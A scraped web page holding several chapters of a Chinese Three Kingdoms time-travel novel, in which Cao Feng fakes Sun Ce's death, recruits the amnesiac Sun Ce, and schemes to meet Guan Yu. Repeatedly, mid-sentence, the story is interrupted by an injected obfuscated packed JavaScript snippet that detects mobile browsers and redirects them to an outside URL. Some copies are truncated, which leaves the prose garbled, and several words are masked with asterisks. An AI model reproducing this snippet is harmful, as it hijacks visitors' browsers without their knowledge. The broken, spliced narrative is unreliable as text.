【刘备还派孙乾北上联络袁绍。袁绍本就与曹操不和,两人早晚有一决战。袁绍见刘备起兵反抗曹操,立即派出一支精锐骑兵前来支援。】 【曹操立即派刘岱、王忠率领大军前去讨伐刘备。这两人却被刘备打得溃不成军。】 【曹操只好亲自率军攻打刘备,暂时放下寻找传国玉玺的事情。】 【曹风没有跟随曹军北上,而是带着华佗和李儒悄然南下。】 【吴郡城内,一家名为“醉仙楼”的酒楼顶层雅间内。】 【曹风站在雕花木窗前,透过窗缝静静地看着下面人来人往的主街道。】 【街道上商贩的叫卖声、行人的谈笑声不断传来,但曹风对这些充耳不闻,他的目光始终锁定在街道的尽头,似乎在等待着什么。】 【“吱呀”一声,房门被轻轻推开。】 【一个身穿火红色长裙的少女小心翼翼地走了进来。】 【她约莫十七八岁年纪,眉目如画,腰间配着一把精致的短剑。】 【少女从未见过曹风的真面目,自然认不出眼前这个气度不凡的年轻人是谁。】 【少女偷偷打量着曹风英俊的侧脸,心中暗想:“这人能随意进出魅大人的私人房间,身份肯定非同一般。难道就是组织里传说的那位神秘主上?”】 【就在这时,一直静立在一旁的貂蝉笑着开口道:“红鸢,还愣着做什么?快来拜见公子。”】 【被称作红鸢的少女这才回过神来,连忙上前几步,规规矩矩地向曹风行了个礼,声音有些发颤地说:“红鸢……红鸢见过公子。”】 【曹风这才转过身来,脸上露出温和的笑容:“小丫头,别这么紧张,我又不是**的老虎。”】 【红鸢低着头,从袖中取出一张叠得方方正正的纸条,双手捧着递上前去:“禀公子,魅大人,有重要情报。”】 【貂蝉接过纸条,亲自送到曹风手中:“公子请过目。”】 【曹风展开纸条,只见上面用娟秀的字迹写着:前日午时,孙策在丹徒山狩猎时,遭到许贡三门客的伏击。刺客伪装成猎户,趁其不备突然放箭。孙策面颊中箭,伤势极重。预计半炷香后将返回吴郡医治。】 【看完情报,曹风走到烛台前,将纸条点燃。】 【曹风若有所思地问貂蝉:“吴郡孙府里,安插有我们的人吗?”】 【貂蝉脸上浮现出一丝愧色,轻轻摇头道:“暂时还没有。我们尝试过多次,先后派了三批人,但孙府的审查实在太严格,都没能成功。妾身辜负了公子的信任。”】 【曹风并没有责怪的意思,反而安慰道:“这种事情本来就不是你擅长的领域,确实难为你了。”】 【说完,曹风迈步走出貂蝉的闺房。】 【门外,一个身材魁梧的壮汉正笔直地站着。他见到曹风出来,立即躬身行礼:“公子!”】 【“甄何,去把李儒找回来。”曹风简短地吩咐道,“告诉他,速回,有要事相商。”】 【李儒本是随曹风一同来到江南,但刚到吴郡就独自进山采药去了。他负责管理的【魍】组织,专门从事卧底渗透工作。】 【甄何领命而去后不久,酒楼下方突然传来急促的马蹄声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684379|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧接着是一阵严厉的呵斥:“所有人听着!立即关闭门窗!不得在街道逗留!违令者斩!”】 【曹风重新回到窗前,透过窗缝向下观望。】 【只见一队全副武装的骑兵正在清场。街道上的行人商贩纷纷躲避,转眼间原本热闹的街道就变得空无一人。】 【不多时,在一队精锐骑兵的严密护卫下,一辆马车疾驰而过。虽然车速很快,但马车却出奇地平稳。】 【曹风嘴角微微上扬,“江东小霸王,我们终于要见面了。生要见你人,死要见你尸。”】 【说完这句话,他身上那股凌厉的气势突然消散无踪,转身就瘫在了貂蝉的香榻上,整个人像没了骨头似的,与方才判若两人。】 【“这一路紧赶慢赶,总算赶上孙策了。”曹风伸了个大大的懒腰,声音里带着几分慵懒,“真是疲惫啊!”】 【他突然看向还站在一旁的红鸢:“红鸢,过来帮本公子捏捏腿。”】 【“啊?”红鸢顿时涨红了脸,手足无措地望向貂蝉,眼中是求助的神色。】 【貂蝉忍俊不禁,挥了挥手道:“你先下去吧。”】 【红鸢如蒙大赦,红着脸快步退出房间,临走时还不小心绊了一下。】 【待红鸢离开后,貂蝉坐到床边,伸出玉手,亲自为曹风捏着腿。手法娴熟,力道恰到好处。】 【“那丫头从小习武,手劲大得很。”貂蝉一边捏着一边解释,“又没伺候过人的经验,我怕她不知轻重,把你的腿捏伤了。”】 【曹风舒服地闭上眼睛:“闲着无聊,逗她玩玩罢了。”】 【他突然想起什么,睁开眼问道:“你这里有会唱曲的姑娘吗?叫来给本公子解解闷。”】 【貂蝉手上突然加了几分力道,嗔怪道:“我这里是正经酒楼,可不是那些风月场所。不过……”】 【她眼波流转,笑着道:“要是公子不嫌弃,妾身可以为您跳支舞。”】 【曹风顿时来了精神,笑着撑起身子:“那再好不过了。本公子向来最善解人意了。”】 第135章 死伯符,悲公瑾 【一日后,李儒背着鼓鼓囊囊的药篓匆匆归来。此次入山采药收获甚丰,连带着他整个人的气色都好了几分。】 他这老毒物,恐怕就只剩下这点嗜好了。 【吴郡一个看似很普通的居所,【魍】组织的秘密据点就在居所地下。】 【李儒果然没有让曹风失望,【魍】早已渗入了孙府。】 【李儒将一张字条递给曹风,声音低沉:“孙策在杀死于吉后,这些天情绪一直很不稳定,导致伤口多次裂开。已经请遍吴郡及附近所有名医,都说无力回天。”】 【“看情况,孙策恐怕撑不了多久了。”】 【李儒顿了顿,继续说道:“安排在孙府的探子最新传回消息,孙策现在全靠一口气儿吊着,正在等待孙权和周瑜赶来交代后事。”】 【曹风接过字条仔细阅读,眉头逐渐紧锁。沉思片刻后,开口询问李儒:“有没有可能让孙策假死?”】 【李儒沉吟良久,声音冰冷:“当年在蜀地游历时,我曾从一位隐士那里得到过一种奇特的**配方。”】 【“服下此毒后,人会进入假死状态,呼吸、脉搏和心跳都微不可察,与真的**无异。”】 【“两天后,有一定概率能够苏醒,就像起死回生一样。但如果醒不过来……”】 【“那就是真**呗?”曹风接过话头,“听起来有点儿意思。反正孙策也快不行了,不如试试这个办法。”】 【曹风转头看向角落里,正在整理药箱的白发老者:“华老头儿,如果孙策三天后真能醒过来,你有多少把握能治好他的伤病?”】 【华佗停下手上动作,苦笑着摇头:“公子,老朽虽然略通医术,但终究不是神仙。孙策的具体伤势如何,必须亲眼诊断后才能判断。现在就断言能不能治好,实在为时过早。”】 【李儒补充道:“就算华佗能治好他原来的伤,**的副作用也很难根除。”】 【曹风问:“具体会有什么副作用?”】 【李儒一摊手:“说不准。千奇百怪,副作用的轻重,全看他自己的造化了。”】 …… 【孙府内一片肃穆。】 【孙策在临死前突然精神好转,刚刚写下遗嘱。他担心自己等不到见孙权和周瑜最后一面,提前做好了准备。】 【孙策神情黯然地擦拭着父亲孙坚留下的古锭刀,低头喃喃自语:“父亲,儿子很快就要去见您了。”】 【“我孙伯符一生南征北战,没想到最后竟会死于小人之手。江东的基业,只能托付给仲谋和公瑾了。”】 【站在一旁的大乔早已泪流满面,泣不成声。】 【“不要哭了……”孙策抬手为大乔拭去泪水,“我们的绍儿,以后就全靠你照顾了。”】 【张昭环顾四周,确认在场都是孙策的心腹后,才压低声音建议:“主公为何不考虑让孙绍公子继承基业?我们这些江东老臣,必定会竭尽全力辅佐少主。”】 【孙策缓缓摇头。】 孙绍年纪太小,就算传位给他也守不住江山。更何况他太了解自己的弟弟孙权了。就算自己不传位,孙权也会想方设法夺取。 【想到这里,孙策再次叮嘱大乔:“你一定要记住,千万别让绍儿涉足朝政,更不要让他掌握兵权。”】 如果孙绍只做个闲散的富家公子,孙权必定会对他百般呵护。但若孙绍敢出头争权,孙权绝不会容忍。 【孙策又转向张昭,语重心长:“统领江东将士与天下争雄,仲谋不如我;但选拔贤能、任用人才以保全江东基业,我不如仲谋。子布,你要尽心辅佐我弟弟。”】 张昭表面应承,内心却始终无法接受由孙权接管江东。 孙策虽然性格急躁、手段严厉,但重情重义。 孙权虽然善于隐忍克制、能屈能伸,却生性多疑。跟着孙权,恐怕不会有好结果。 想到这里,张昭心中不禁掀开了自己“带投大哥”这张身份牌。 【“不好了!起风了,走水了!”屋外突然传来急促的呼喊声。】 【孙策对房内的侍卫挥挥手:“你们都去救火吧。守着我这个将死之人有什么用!”】 【他又对张昭说:“子布,你也去。有你在场指挥,火势能控制得更快些。”】 【等众人都离开后,一名医官端着一碗汤药,迈着碎步来到孙策床前:“主公,该喝药了。”】 【“滚出去!”孙策怒喝,"你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687760|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不是说了,医治不好我吗?我都快**,还喝什么药!你是存心来气我的吗?”】 【医官吓得立即跪地,战战兢兢地说:“这药或许能让主公多支撑一会儿……”】 【孙策这才缓和脸色,接过药碗一饮而尽。他还是希望能撑到见周瑜最后一面。】 【医官端着空碗退出房间时,嘴角不经意间露出一丝难以察觉的笑意。】 【他刚离开不久,大乔就惊慌失措地冲出房门,声嘶力竭地喊道:“快来人啊!主公昏过去了!”】 【半个时辰后,孙策的主治医官战战兢兢地向众人宣布了一个悲痛的消息: 孙策去世了!】 【“大哥!”孙权连夜赶来。】 【他恪守礼制,没有触碰孙策的遗体,只是跪在灵堂前,痛哭流涕。】 【没过多久,灵堂外又传来一声“大哥!”】 【周瑜的这声呼唤,比孙权更加悲痛欲绝。】 【得知孙策死讯后,周瑜不顾军队调度规程,轻装简从,日夜兼程从驻守的巴丘赶回吴郡,一路上心急如焚。】 【周瑜将手伸入灵柩,紧紧握住孙策冰冷的手,久久不愿松开。面容悲泣:“当年你我于舒城江畔结为异姓兄弟,誓要共谋大业。如今基业初立,正欲讨伐曹贼,兄长何以弃我而去啊?!”】 【周瑜对着孙策的遗体倾诉良久,突然口吐鲜血,昏倒在地上。】 【众**惊,连忙将他抬下去休养。】 【孙权也跟着嚎啕大哭,随后也发了狠心,用头猛撞地面,很快也被侍从搀扶出去。】 【已经到了深夜,灵堂里只剩下几位江东老臣和大乔抱着孙绍,为孙策守灵。】 忽然,一阵奇异的香气飘过。 【守灵众人本就困乏,马上就纷纷倒地昏睡。】 由于孙策刚去世,再加上周瑜和孙权先后晕厥,孙府乱作一团。即便有张昭主持大局,防卫也出现了疏漏。 【曹风抓住这个机会,带人潜入灵堂,将灵柩中的孙策替换成了一个身材相似的替身。】 【曹风的手下动作利落,转眼间便完成了调包。这些人都是他在监斩营带出来的老部下,对这套流程早已驾轻就熟。】 第136章 孙策活了,但失忆了 【甄何皱起眉头,压低声音说道:“公子,这易容术虽然高明,但如果遇到细心的人仔细检查,恐怕还是会被看出破绽。”】 【曹风轻轻拍了拍甄何的肩膀,示意他安心:“放眼整个江东,能识破《太平要术》易容术的,恐怕只有周瑜一人。”】 【“不过周瑜已经亲自来祭拜过孙策,按照礼制,他不会再有机会近距离观察。”】 【“等过几日出殡之时,棺木一盖,钉棺定论,这事就算成了。”】 【甄何闻言点了点头,将昏迷不醒的孙策小心翼翼地背在自己背上。】 【曹风亲自在前引路,带着众人借着夜色的掩护,如鬼魅般悄无声息地离开了孙府。】 【华佗在【魍】的安全屋里焦急等待,见他们平安回来,立刻上前给孙策诊治。】 【过了一会儿,华佗脸色沉重地转向李儒:“李大人,这种**还是少用为好。虽然能让人假死,但有伤天和!死者为大!要是他醒不过来,三天内尸体就会开始腐烂,到时候面目全非,连最后的体面都保不住。”】 【李儒不以为然地笑道:“此言差矣。即便不用此毒,人死后不也一样会化为白骨?不过是早晚之别罢了。”】 【他缓步走到床前,指着孙策脸上那道狰狞的伤疤,“再说了,他现在这副模样,和面目全非又有什么区别?这可不是我的过错。”】 李儒心中嘀咕:“贾诩干的伤天害理的事还少吗?可哪次见他贾文和遭过报应?对了,曹昂那事儿除外。还得是公子能伤到他贾文和。” 【华佗长叹一声,知道争辩不过李儒,只得摇头作罢。】 时间一分一秒地流逝,转眼已是两日过去。 【床榻上的孙策依旧双目紧闭,如同**一样。他的身体确实如李儒所说,没有丝毫腐烂的迹象,甚至连尸斑都没有出现。】 【第三日清晨,李儒突然抽动鼻子,在房间里来回踱步:“香气开始变淡了,毒效即将消散。”】 【曹风叹气道:“趁着还没烂,埋了吧。”】 【就在这时,突然听到华佗惊喜的呼喊:“动了!他的眼皮动了!”】 【孙策的眼皮微微颤动,仿佛在说:“先别急着埋,我觉得我还能再抢救抢救。”】 【李儒一个箭步上前,熟练地翻开孙策的眼睑查看,随后对曹风正色道:“人是醒了,不过……”】 【“这么重的伤势,能不能活下来,就要看华佗的医术,以及……”李儒意味深长地顿了顿,“他自己有多想活下来。”】 【就在李儒说话间,华佗已经开始了紧张的救治。他手法娴熟地为孙策施针,每一针都精准地落在关键穴位上。】 【曹风见状,识趣地准备退出房间,李儒也迈步跟上。】 【“李大人请留步。”华佗头也不抬地喊道,“老朽这里有个以毒攻毒的方子,需要借重你的用毒心得。”】 【见曹风也停下脚步,华佗直截了当地说:“曹公子可以先去休息了。这里不需要你了。”】 【曹风摸了摸鼻子,自嘲地笑道:“看来在这里,我倒成了最没用的那个。”】 曹风也不生气,他知道华佗向来心直口快,从不知变通为何物。这老头儿可是敢提着斧头,直言要给曹操开颅,做一个全菌手术的主儿。 【曹风突然想起前世在论坛上看到的一件趣事儿,忍不住打趣道:“华老头,听说华雄是你儿子?”】 【“这都谁在胡说八道!”华佗板起脸道,“公子还是快去歇着吧,别在这儿妨碍我和李大人救治孙伯符。”】 【接下来的半个月里,华佗和李儒日夜不停地为孙策治疗。】 【华佗负责调理气血,李儒则用各种奇特的**来控制伤势。两人虽然理念相左,但在医术上却配合得天衣无缝。】 【终于,在一个雨后的清晨,孙策再次睁开了眼睛。】 【这次他的眼神不再涣散,而是带着几分清明。】 【令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693204|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外的是,李儒表现得比曹风还要兴奋,他像个得到新玩具的孩子,围着床榻转来转去,嘴里不停地念叨着各种**配方的名字。】 【孙策虚弱地支起身子,警惕地打量着房间里的三个奇怪的陌生人。】 【他的目光首先落在曹风身上。这个年轻人相貌堂堂,举止优雅,但不知为何,孙策本能地感觉到他才是三人中最危险的那一个。】 【接着是那个戴着青铜面具的文士。他的眼神让孙策浑身不自在,那目光中混合着狂热、残忍和某种令人毛骨悚然的期待,仿佛自己不是一个人,而是一件等待鉴赏的艺术品。】 【最后是那个头发稀疏的老者,他的笑容让孙策想起了传说中山里的人参老怪。】 【“我们认识?”孙策的声音嘶哑得不成样子,“我这是在什么地方?”】 【曹风眼中闪过一丝精光,故意反问道:“这个问题,不该问你自己吗?”】 【“问我自己?”孙策愣住了。】 【他努力回想,却发现脑海中一片空白。他双手抱头,痛苦地喃喃自语:“我是谁?我在哪?我为什么会在这里?”】 【房间里突然安静下来。】 【曹风皱了皱眉,对李儒说:“费这么大功夫,就救回来个傻了的孙策?”】 【李儒有些兴奋地解释道:“是假死药的副作用。随机失忆。有些事忘得一干二净。有些却还记得,比如武艺和个人喜好。”】 【曹风在心里快速盘算着:失忆的孙策,简直比预想的还要完美。】 【他清了清嗓子,开始忽悠孙策:“这位壮士,事情是这样的。半月前我去山中打猎,在一处悬崖下发现了昏迷不醒的你。当时你浑身是伤,气息奄奄,我不忍见死不救,就把你带了回来。”】 【说到这里,曹风故意露出肉痛的表情,指了指正在整理药箱的华佗:“为了救你,我可是倾家荡产才请来这位神医。光是那些名贵药材,就花了我整整三百金啊!”】 第137章 李儒狠起来,连自己都毒 【孙策听完曹风这番话,脸上浮现出愧疚的神情。】 【他双手撑着床榻,想站起来行礼,却发现双腿软得像棉花,根本使不上力气。】 【最后,他只能坐着抱拳道:“多谢公子的救命之恩,在下没齿难忘。”】 【孙策又诚恳地补充道:“在下如今身无分文,连自己是谁都记不清了。但公子的救命之恩,我一定会用性命来报答。日后若有用得着的地方,赴汤蹈火在所不辞……”】 【“别等日后了。”曹风突然打断他,眼中闪过一丝狡黠,“眼下就有一件事需要你去做。”】 【孙策闻言一怔。】 【他本能地觉得好像哪里不太对劲,但又说不上来。最后还是郑重地抱拳道:“公子请讲,只要在下能做到的,绝不推辞。”】 【“我在西北边境有一支精锐骑兵,专门征讨那些骚扰边境的胡人部落。”曹风故意停顿了一下,眼睛紧盯着孙策的表情变化,“现在正缺一个能统领他们的将领……”】 【“公子太抬举在下了。”孙策连忙摇头,苦笑道,“以我现在的状态,恐怕难当大任。若是耽误了军务,岂不是辜负了公子的信任?”】 【“谁说让你直接当统领了?”曹风毫不客气道,“我的意思是,你可以先从普通骑兵做起,靠自己的本事挣军功。”】 【“等你立下战功,我才会考虑你升迁的事。”】 【孙策这才释然,郑重地点头应允:“在下明白了。定当竭尽全力,不负公子厚望。”】 虽然孙策因为失忆想不起过去的事,但曹风还是决定暂时切断他和孙吴势力的所有联系,免得给自己惹上不必要的麻烦。 曹风这些天思来想去,最好的办法就是把孙策调去遥远的边疆,让他远离东吴的势力范围。 曹风知道,孙策这个人最看重的就是情义二字。他可以慢慢和孙策培养兄弟情谊。 这样一来,即便日后孙策恢复记忆,念及这段情义,也不会与他为敌。 【就在这时,孙策无意间瞥见了墙上挂着的一面铜镜。镜中的自己脸上有道狰狞的伤疤。】 【他下意识地摸了摸伤疤,心中很是排斥。】 【“公子……”孙策突然转向曹风,指了指李儒脸上戴着的面具,“能否也给我弄一个这样的面具?”】 (《江表传》里记载过这样一段:孙策**后照镜子,见自己容貌受损,当场大怒,吼道:“脸都毁了,还怎么建功立业?!” 据说这正是导致他情绪激动、伤口迸裂而亡的原因之一。) 【曹风爽快地应承下来:“这个简单,包在我身上。”】 曹风琢磨着要给孙策弄个兰陵王式的面具。 虽说孙策比兰陵王早出生三百多年,但这种风格的面具很配他小霸王的气质。 只是两人戴面具的原因完全不同。 兰陵王是因为自己长得太俊美,怕镇不住敌军,才戴着狰狞面具上阵。 而孙策纯粹是为了遮住脸上的伤疤。 【出了屋子,曹风把李儒拉到一旁僻静处,压低声音问道:“他的失忆是永久的吗?会不会哪天突然想起来?”】 【李儒沉声道:“这个说不准。中了此毒,有人三天就恢复,有人三年,也有人一辈子都想不起来。”】 【李儒顿了顿,意味深长地补充道:“不过,就算他哪天突然恢复记忆,也身在边疆,到时候就由不得他了。”】 【曹风若有所思地点了点头,随后离开了【魍】的安全屋。】 【躺在貂蝉的香榻上,曹风掐指算着时间。】 此时曹操应该已经和刘备在徐州打起来了。他必须立刻赶回去,因为要见一个重要人物——关羽。 一方面,作为从后世穿越来的人,曹风对这位义薄云天的关二爷充满好奇,想亲眼见识一下传说中的武圣风采。 另一方面,作为武痴,曹风早就对关羽的春秋刀法垂涎三尺,这次一定要想办法偷学几招。 天幕画面快进到三天后…… 【孙策的身体状况终于稳定下来。曹风一行人准备离开吴郡。】 甄何负责护送李儒和孙策前往凉州。 华佗则随曹风赶往徐州。 貂蝉的任务是前往建业。曹风需要她在那里开一家高档酒楼,作为情报据点,负责收集关于东吴的各种消息。 在出吴郡城门时,发生了一件意外的小插曲。 【几人刚出了城门不到五里地,就遇见了为孙策发丧的队伍。】 【场面十分浩大,漫天的白幡在风中猎猎作响。队伍中的哭喊声此起彼伏,震耳欲聋。】 【周瑜身披麻衣,双眼红肿,整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【李儒见状,迅速从袖中掏出一颗小药丸塞进曹风手中,急促道:“公子,快服下解药!”】 【曹风将药丸咽下,随即愤怒地瞪着李儒:“李文优!你疯了吗?连我都想一起毒翻?”】 李儒来不及解释,因为他自己也中了毒。 【他手忙脚乱地想把药丸塞进嘴里,却被脸上的面具挡住了。】 【他尴尬地和曹风对视一眼,然后“扑通”一声栽倒。不省人事。】 曹风:??? 曹风:!!! 【曹风又好气又好笑,赶紧揭开李儒的面具,将药丸塞进他嘴里,摇头叹道:“算你狠,连自己都毒!不过还算懂事,知道先救我。”】 第138章 关于我用蚊虫老鼠逼关羽搬家这件事 【曹风风尘仆仆赶到徐州时,正值曹操大军刚刚击溃刘备军队的第三天。】 【刘备在惨败后,带着数十骑仓皇北逃,直奔青州投奔袁绍。】 【而他的结义兄弟关羽则退守到下邳城内。】 【曹操素来欣赏关羽的武艺和忠义,想要收为己用,因此没有采取强攻,而是设计了一个围困之策。】 【曹操派心腹大将夏侯惇为主帅,徐晃、于禁为副将,率领三万精锐步骑将下邳城团团围住,彻底切断了关羽军队与外界的一切联系。】 【与此同时,曹风回到了自己的监斩营驻地。】 【远远地,他就看见王五和其他几个心腹已经在营门外等候多时。】 【王五在原地来回踱步,显得心事重重。】 【“怎么了五子?”曹风翻身下马,将缰绳扔给亲兵,关切地问道,“看你愁眉苦脸的,遇到什么难事了?”】 【王五叹了口气,压低声音道:“关羽那厮被困在了下邳城里,死活不肯投降。曹操那边又不下令强攻,就这么干耗着。弟兄们都在议论,这仗怕是要拖到猴年马月去了。”】 【曹风伸手拍了拍王五的肩膀,打趣儿道:“怎么,是急着回去与你那未过门的小娘子洞房花烛?我记得上次你说过,等这仗打完就回去成亲。”】 【“嘿嘿!”王五这才展露出原本贱兮兮的笑容,“公子真是神机妙算,什么都瞒不过您。”】 他说着,心里涌起一阵暖流。 上次见面时,他只是随口提了一句自己的婚事,没想到公子竟然记得这么清楚。这说明在公子心里,他王五也是有分量的。 要知道,在等级森严的曹营中,像他这样出身市井的小人物,平日里连见曹风这样的贵公子一面都难如登天,更别说被对方记挂在心上了。 【王**自觉地挺直了腰杆,得意地环视了一圈周围的同伴。】 【这些人都向他投来艳羡的目光。】 【有几个年轻士兵甚至露出了崇拜的神情。】 【“哎哟!”正当王五沉浸在众人的羡慕中时,屁股上突然挨了不轻不重的一脚。】 【“什么表情?疯了?”曹风笑骂道,“跟我进帐,有要紧事交代你。”】 【王五连忙点头哈腰,屁颠屁颠地跟在曹风身后。】 他那副谄媚的模样非但没有引起同伴们的鄙夷,反而让更多人羡慕不已。 【“我什么时候也能跟在公子身后当个跟班呢?”】 【“别想了。王大人上辈子肯定积德了,这辈子才能得到公子赏识。”】 【一位监斩营的老兵感叹:“当年宛城之战,曹风公子去救曹昂公子时,一队敌军骑兵要去追杀曹风公子。王大人带弟兄们断后。这些弟兄里,要数平时最怕死的王大人那次最拼命,那条胳膊就是那时候没的。而且……”】 【“而且这些年,王大人从不对别人提起这件事,更没向公子邀功。”】 【一个原本不服气的年轻人听到这话,内心充满愧疚:“难怪王大人能得到公子赏识。我们都该以他为榜样,为公子尽心尽力。”】 【几人议论时,王五已随曹风进入帐内。】 【曹风示意亲兵守住门口,然后压低声音对王五说:“我推测,下邳城最多再撑三天。城破之后,你带几个可靠的人,在城里给我物色一个僻静的院子。” 【“院子不用太大,但房间一定要多,至少要有五六间。”】 【王五用仅剩的左手拍着胸脯保证:“公子放心,我一定给您找个称心如意的地方。”】 曹风要用这院子做什么,王五绝不会多问。他只管完成公子交代的事。 【曹风沉吟片刻,又补充道:“还有件事。你这两天带人,多抓些蚊虫和老鼠。记住,一定要活的,而且绝对不能有毒!”】 王五见曹风没有其他吩咐,他识趣地躬身告退。 【就在他即将出帐时,身后传来曹风的声音:“五子,你那条胳膊是怎么没的,我知道。你这个兄弟,我曹风认了。”】 【王五身子一颤,心头滚烫,抹去眼角泪水。转身时,他又挂上了那副标志性的贱笑:“公子说笑了。我王五一个市井无赖,哪配与公子……”】 【“滚蛋!我做事还需要你来教?”曹风笑骂着挥了挥手。】 【“嘿嘿!”王五笑着退出帐外,却在无人处"扑通"跪下,重重地磕了一个响头。起身时,他抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【关羽不在的时候,她们发现这院子的蚊虫多得惊人,还有几只老鼠在屋外墙角窜来窜去。】 【作为女子,她们天生害怕这些,却又不想给关羽添麻烦,只好强忍着恐惧,轮流守夜,一人睡觉时另一人就负责驱赶蚊虫。还好老鼠不见了。】 【夜黑风高,一道黑影悄无声息地翻过院墙。】 【关羽立刻警觉起身,丹凤眼怒睁,对来人喝道:“贼子好大胆子,是觉得关某的刀不够锋利吗?”】 【只见那年轻人连忙摆手,示意没有恶意,笑着解释:“关将军说得对,我确实是贼子,贼的儿子。但我可是好人啊!”】 第139章 曹风:曹操,我来拆你台了 【“你是好人?谁家好人会擅自翻墙进入别人的院子?”关羽冷哼一声,手中的青龙偃月刀在月光下泛着寒光。大有一言不合,就将曹风斩杀的架势。】 【关羽眯起那双标志性的丹凤眼,警惕道:“深更半夜鬼鬼祟祟,你到底是什么人?”】 【如今自己和两位嫂嫂都在曹操的地盘,不问清楚,也不好冒然出手。】 【曹风连忙抱拳行礼:“在下曹脩,久闻关将军威名,今日得见,实在是三生有幸。”】 【关羽依旧没有放松警惕,右手始终紧握着青龙偃月刀:“姓曹?你和曹孟德是什么关系?”】 【曹风连忙解释道:“回将军的话,我那不成器的父亲,是明公的远房表亲。如今在明公帐下担任摸金校尉,专门负责……”】 【“摸金校尉?”关羽冷哼一声,“就是那些专门掘人祖坟的鼠辈吗?”】 【曹风尴尬笑了笑,“这个……”】 【关羽不再追问,转而用青龙偃月刀指着曹风的咽喉:“那你呢?在曹营担任什么官职?”】 【曹风故意挠了挠头,这个动作让他看起来更加年轻稚嫩,以降低关羽对他的戒备之心。“在下只是个普通的马弓手。”】 【说完又赶紧补充道,“不过我的箭术还不错,百步穿杨不敢说,八十步**中靶心还是没问题的。”】 【“马弓手?”关羽原本瞪大的眼睛微微眯起,握刀的手也稍稍放松了一些。】 曹风敏锐地察觉到关羽眼睛的变化,知道暂时安全了。关羽睁眼时,才会斩人。 【曹风不甘心地叹了口气,声音里满是无奈:“唉!出身不好啊。我在战场上立过几次功,有一次还射杀了敌军的一个校尉,但都被上面的人冒领了。”】 【曹风说着,踢了一脚地上的石子,“那些世家子弟,就会仗着父辈的权势。”】 关羽的眼神恍惚了一下,仿佛回到了当年在酸枣会盟讨伐董卓时的情景。那时的自己也是个马弓手。虽然斩杀了敌将,但那些诸侯还是看不起他和两位兄弟,连他的战功也提都不提。 【一直没正眼看曹风的关羽,这才仔细打量起这个年轻人。】 【“年纪轻轻,何必着急?”关羽的声音突然柔和了几分。】 【关羽将青龙偃月刀竖起,刀柄重重地杵在地上,发出“咚”的一声闷响。另一只手慢慢捋着长须,“大丈夫生于天地间,只要有真本事,迟早能出人头地!”】 【曹风眼睛一亮,连忙拱手:“多谢将军鼓励!”】 【曹风又指着不远处还亮着灯的房间,明知故问道:“关将军为什么不进屋休息?这夜深露重的,蚊虫又多。”】 【“休得胡言!”关羽的丹凤眼再次瞪大,他怒喝道,“两位嫂嫂正在房内休息,关某怎能进去!你这话是何居心?”】 【曹风慌忙摆手:“关将军息怒!在下实在不知情。我只知道您在曹营,不知道两位夫人也在。”】 【曹风又指了指身后的土墙,苦笑道,“我官职低微,消息闭塞。就连见关将军一面,都得偷偷翻墙。”】 【“明公下令不许任何人接近关将军。我要是被抓住,肯定要挨军棍。白天就有人因为靠近这个院子,被打了三十军棍,现在还在床上躺着呢。”】 【关羽这才点了点头。】 其实就算曹风自己不说,他也想问为什么对方不走正门,非要翻墙进来。 【“哎呀!”曹风突然一拍脑门,环顾着这个简陋的院子,“这院子只有一间屋子,那关将军岂不是要在外面过夜?”】 【关羽不想再和曹风多费口舌,用青龙偃月刀指了指土墙:“既然已经见到关某,你可以回去了。”】 他的语气不容置疑。 【曹风抱拳告辞,转身走向土墙。】 【曹风的动作很敏捷,三两步就爬上了墙头。可就在要跳下去的一瞬间,他突然又折返回来,轻巧地落回院内。】 【“嗯?!”关羽质疑的声音冰冷,显然已经很不耐烦。】 【曹风故意提高声音说:“我听说这里蚊虫老鼠很多,前几天还咬伤了几个人。不知两位夫人住得是否习惯?”】 【他顿了顿,又说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 